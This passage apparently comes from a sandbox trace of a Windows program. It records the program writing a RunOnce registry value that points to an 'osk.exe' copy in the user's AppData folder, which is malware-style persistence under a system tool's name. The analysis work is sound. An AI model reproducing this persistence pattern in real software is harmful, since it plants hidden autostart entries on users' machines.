lpdwDisposition=0x0) returned 0x0 [0257.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.087] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.087] RegCloseKey (hKey=0x14c) returned 0x0 [0257.087] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.088] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.101] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.101] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.102] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.102] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.102] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.103] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.103] RegCloseKey (hKey=0x14c) returned 0x0 [0257.103] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.103] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.117] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.117] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.117] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.118] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.118] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.118] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.118] RegCloseKey (hKey=0x14c) returned 0x0 [0257.118] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.119] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.133] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.133] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.133] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.134] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.134] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.134] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.134] RegCloseKey (hKey=0x14c) returned 0x0 [0257.134] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.135] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.185] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.185] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.185] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.186] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.186] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.186] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.186] RegCloseKey (hKey=0x14c) returned 0x0 [0257.187] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.187] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.195] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.195] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.196] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.196] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.196] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.197] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.197] RegCloseKey (hKey=0x14c) returned 0x0 [0257.197] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.197] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.211] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.211] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.211] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.211] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.211] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.212] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.212] RegCloseKey (hKey=0x14c) returned 0x0 [0257.212] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.212] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.226] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.226] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.227] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.227] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.227] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.228] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.228] RegCloseKey (hKey=0x14c) returned 0x0 [0257.228] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.228] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.242] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.242] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.242] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.243] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.243] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.243] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.243] RegCloseKey (hKey=0x14c) returned 0x0 [0257.243] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.244] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.257] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.257] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.258] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.258] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.258] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.259] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.259] RegCloseKey (hKey=0x14c) returned 0x0 [0257.259] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.259] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.273] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.273] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.273] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.274] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.274] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.274] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.274] RegCloseKey (hKey=0x14c) returned 0x0 [0257.274] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.275] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.289] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.289] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.289] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.290] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.290] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.290] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.290] RegCloseKey (hKey=0x14c) returned 0x0 [0257.290] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.291] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.306] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.306] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.306] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.306] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.307] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.307] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.307] RegCloseKey (hKey=0x14c) returned 0x0 [0257.307] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.308] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.336] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.336] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.336] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.336] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.337] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.337] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.337] RegCloseKey (hKey=0x14c) returned 0x0 [0257.337] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.337] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.351] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.351] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.352] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.352] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, 